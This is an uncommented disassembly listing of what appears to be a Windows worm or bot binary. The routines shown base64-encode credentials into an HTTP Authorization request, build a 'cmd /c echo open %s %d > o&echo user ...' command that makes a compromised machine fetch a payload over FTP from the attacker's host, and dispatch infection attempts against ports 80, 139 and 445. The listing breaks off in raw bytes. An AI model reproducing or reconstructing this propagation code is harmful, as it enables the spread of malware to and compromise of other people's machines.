		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427688
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427680
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D031	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07D	proc near		; CODE XREF: sub_40D21F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B4
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D031
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62F


loc_40D0BF:				; CODE XREF: sub_40D07D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DC
		mov	ebx, [ebp+10h]


loc_40D0CE:				; CODE XREF: sub_40D07D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D8
		push	3
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: sub_40D07D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E2
		push	2
		jmp	short loc_40D0EA
; ---------------------------------------------------------------------------


loc_40D0E2:				; CODE XREF: sub_40D07D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EB
		push	1


loc_40D0EA:				; CODE XREF: sub_40D07D+59j
					; sub_40D07D+63j
		pop	ebx


loc_40D0EB:				; CODE XREF: sub_40D07D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_427698
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D12A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D12A:				; CODE XREF: sub_40D07D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D198
		add	[ebp-18h], eax


loc_40D17C:				; CODE XREF: sub_40D07D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_43245C[eax]
		push	eax
		push	1
		call	sub_40D4B1
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17C


loc_40D198:				; CODE XREF: sub_40D07D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B6
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D50A
		mov	[ebp-18h], edi


loc_40D1B6:				; CODE XREF: sub_40D07D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1D0
		sub	esi, [ebp-1Ch]


loc_40D1C1:				; CODE XREF: sub_40D07D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B1
		dec	esi
		jnz	short loc_40D1C1


loc_40D1D0:				; CODE XREF: sub_40D07D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CE
		push	1
		pop	ebx


loc_40D1DC:				; CODE XREF: sub_40D07D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		push	dword_427690
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D561
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21F	proc near		; CODE XREF: ___:0040D41Cp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D808
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D269
		xor	bl, bl
		jmp	short loc_40D2AD
; ---------------------------------------------------------------------------


loc_40D269:				; CODE XREF: sub_40D21F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A0
		cmp	ecx, ebx
		jnz	short loc_40D277
		mov	ecx, eax


loc_40D277:				; CODE XREF: sub_40D21F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27F
		mov	eax, [ebp+18h]


loc_40D27F:				; CODE XREF: sub_40D21F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, esi
		jz	short loc_40D2A4
		xor	bl, bl
		jmp	short loc_40D2A6
; ---------------------------------------------------------------------------


loc_40D2A4:				; CODE XREF: sub_40D21F+7Fj
		mov	bl, 1


loc_40D2A6:				; CODE XREF: sub_40D21F+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AD:				; CODE XREF: sub_40D21F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B4
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B4
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_432608
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_42910C
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB390
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC10
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4324A0
		push	eax
		call	sub_40CADB
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D378
		xor	eax, eax
		jmp	loc_40D4A4
; ---------------------------------------------------------------------------


loc_40D378:				; CODE XREF: ___:0040D36Fj
		mov	[ebp-0Ch], esi


loc_40D37B:				; CODE XREF: ___:0040D47Bj
		test	esi, esi
		jnz	loc_40D481
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D469
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB654
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB694
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45E
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D426
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B4
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6F0
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21F
		add	esp, 1Ch
		jmp	short loc_40D45B
; ---------------------------------------------------------------------------


loc_40D426:				; CODE XREF: ___:0040D3E4j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D440
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDF
		jmp	short loc_40D458
; ---------------------------------------------------------------------------


loc_40D440:				; CODE XREF: ___:0040D430j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45E
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF05


loc_40D458:				; CODE XREF: ___:0040D43Ej
		add	esp, 0Ch


loc_40D45B:				; CODE XREF: ___:0040D424j
		movzx	esi, al


loc_40D45E:				; CODE XREF: ___:0040D3D7j
					; ___:0040D44Aj
		push	ebx
		call	dword_4CB6EC
		test	esi, esi
		jnz	short loc_40D474


loc_40D469:				; CODE XREF: ___:0040D394j
		push	3E8h
		call	near ptr 2670EC7h
		nop


loc_40D474:				; CODE XREF: ___:0040D467j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37B


loc_40D481:				; CODE XREF: ___:0040D37Dj
		lea	ecx, [ebp-8]
		call	sub_40C900
		test	esi, esi
		jz	short loc_40D4A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431B08[eax]
		lea	eax, dword_431B08[eax]


loc_40D4A2:				; CODE XREF: ___:0040D48Bj
		mov	eax, esi


loc_40D4A4:				; CODE XREF: ___:0040D373j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A9:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B4
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B1	proc near		; CODE XREF: sub_40D07D+110p
					; sub_40D07D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CB
		call	sub_42669A


loc_40D4CB:				; CODE XREF: sub_40D4B1+13j
		test	ebx, ebx
		jbe	short loc_40D502
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D502
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D502:				; CODE XREF: sub_40D4B1+1Cj
					; sub_40D4B1+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D50A	proc near		; CODE XREF: sub_40D07D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427690
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D524
		call	sub_42669A


loc_40D524:				; CODE XREF: sub_40D50A+13j
		test	ebx, ebx
		jbe	short loc_40D559
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D559
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D559:				; CODE XREF: sub_40D50A+1Cj
					; sub_40D50A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D50A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D561	proc near		; CODE XREF: sub_40D07D+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D579
		call	sub_426573


loc_40D579:				; CODE XREF: sub_40D561+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58B
		mov	esi, [ebp+arg_8]


loc_40D58B:				; CODE XREF: sub_40D561+25j
		cmp	edi, ebx
		jnz	short loc_40D5AD
		push	dword_427690
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D725
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D725
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5AD:				; CODE XREF: sub_40D561+2Cj
		test	esi, esi
		jbe	short loc_40D5F0
		cmp	esi, eax
		jnz	short loc_40D5F0
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C1
		mov	eax, offset dword_4276A0


loc_40D5C1:				; CODE XREF: sub_40D561+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5F0
		push	1
		mov	ecx, edi
		call	sub_40D6B4
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DC
		mov	eax, offset dword_4276A0


loc_40D5DC:				; CODE XREF: sub_40D561+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D626
; ---------------------------------------------------------------------------


loc_40D5F0:				; CODE XREF: sub_40D561+4Ej
					; sub_40D561+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D626
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D60A
		mov	eax, offset dword_4276A0


loc_40D60A:				; CODE XREF: sub_40D561+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D626:				; CODE XREF: sub_40D561+4Aj
					; sub_40D561+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D561	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D07D+3Dp
					; sub_40D4B1+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D641
		call	sub_42669A


loc_40D641:				; CODE XREF: sub_40D62F+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D66A
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D66A
		cmp	al, 0FFh
		jz	short loc_40D66A
		cmp	edi, edx
		jnz	short loc_40D6A5
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65F:				; CODE XREF: sub_40D62F+47j
		mov	ecx, esi
		call	sub_40D6B4


loc_40D666:				; CODE XREF: sub_40D62F+4Bj
					; sub_40D62F+52j
		xor	al, al
		jmp	short loc_40D6AF
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D62F+19j
					; sub_40D62F+20j ...
		cmp	edi, edx
		jnz	short loc_40D683
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D678
		push	1
		jmp	short loc_40D65F
; ---------------------------------------------------------------------------


loc_40D678:				; CODE XREF: sub_40D62F+43j
		cmp	ecx, edx
		jz	short loc_40D666
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D666
; ---------------------------------------------------------------------------


loc_40D683:				; CODE XREF: sub_40D62F+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D6A0
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D695
		cmp	eax, edi
		jnb	short loc_40D6AD


loc_40D695:				; CODE XREF: sub_40D62F+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		jmp	short loc_40D6A5
; ---------------------------------------------------------------------------


loc_40D6A0:				; CODE XREF: sub_40D62F+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AD


loc_40D6A5:				; CODE XREF: sub_40D62F+28j
					; sub_40D62F+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78C


loc_40D6AD:				; CODE XREF: sub_40D62F+64j
					; sub_40D62F+74j
		mov	al, 1


loc_40D6AF:				; CODE XREF: sub_40D62F+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B4	proc near		; CODE XREF: sub_40D07D+1Fp
					; sub_40D07D+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6E0
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D9
		cmp	al, 0FFh
		jz	short loc_40D6D9
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D9:				; CODE XREF: sub_40D6B4+19j
					; sub_40D6B4+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6E0:				; CODE XREF: sub_40D6B4+8j
					; sub_40D6B4+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6F0	proc near		; CODE XREF: ___:0040D410p
					; sub_40D849+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D71E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71E:				; CODE XREF: sub_40D6F0+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D725	proc near		; CODE XREF: sub_40D561+39p
					; sub_40D561+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D738
		call	sub_426573


loc_40D738:				; CODE XREF: sub_40D725+Cj
		mov	ecx, edi
		call	sub_40D849
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74E
		mov	ebx, eax


loc_40D74E:				; CODE XREF: sub_40D725+25j
		test	ebx, ebx
		jbe	short loc_40D784
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62F
		test	al, al
		jz	short loc_40D784
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D784:				; CODE XREF: sub_40D725+2Bj
					; sub_40D725+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D725	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78C	proc near		; CODE XREF: sub_40D62F+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B2
		mov	edi, [ebp+8]


loc_40D7B2:				; CODE XREF: sub_40D78C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BF
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D78C+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7F0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7DA
		xor	eax, eax


loc_40D7DA:				; CODE XREF: sub_40D78C+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7EA
		retn
; ---------------------------------------------------------------------------


loc_40D7EA:				; DATA XREF: sub_40D78C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7F0:				; CODE XREF: sub_40D78C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80E
		cmp	eax, edi
		jbe	short loc_40D7FD
		mov	eax, edi


loc_40D7FD:				; CODE XREF: sub_40D78C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80E:				; CODE XREF: sub_40D78C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B4
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82E
		mov	edi, ebx


loc_40D82E:				; CODE XREF: sub_40D78C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D849	proc near		; CODE XREF: sub_40D725+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D876
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D876
		cmp	al, 0FFh
		jz	short loc_40D876
		push	1
		call	sub_40D6B4
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6F0


loc_40D876:				; CODE XREF: sub_40D849+9j
					; sub_40D849+10j ...
		pop	edi
		pop	esi
		retn
sub_40D849	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D879	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC74, 1
		jnz	short loc_40D889
		or	byte_4DBC74, 1


loc_40D889:				; CODE XREF: sub_40D879+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_41D040
		pop	ecx
		retn
sub_40D879	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89B	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D8A0	proc near
		mov	eax, dword_4328C0
		add	eax, 6
		mov	dword_4CE374, eax
		retn
sub_40D8A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AE	proc near		; CODE XREF: sub_40D8AE+D0p
					; ___:0040DE0Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C2
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C6
; ---------------------------------------------------------------------------


loc_40D8C2:				; CODE XREF: sub_40D8AE+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C6:				; CODE XREF: sub_40D8AE+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8EA
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FC
; ---------------------------------------------------------------------------


loc_40D8EA:				; CODE XREF: sub_40D8AE+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FC:				; CODE XREF: sub_40D8AE+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D995
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_40D98C
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98C
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D988
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AE
		add	esp, 2Ch
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D988:				; CODE XREF: sub_40D8AE+B3j
		mov	al, 1
		jmp	short loc_40D997
; ---------------------------------------------------------------------------


loc_40D98C:				; CODE XREF: sub_40D8AE+9Cj
					; sub_40D8AE+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx


loc_40D995:				; CODE XREF: sub_40D8AE+61j
		xor	al, al


loc_40D997:				; CODE XREF: sub_40D8AE+D8j
					; sub_40D8AE+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AE	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  77h	; w
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
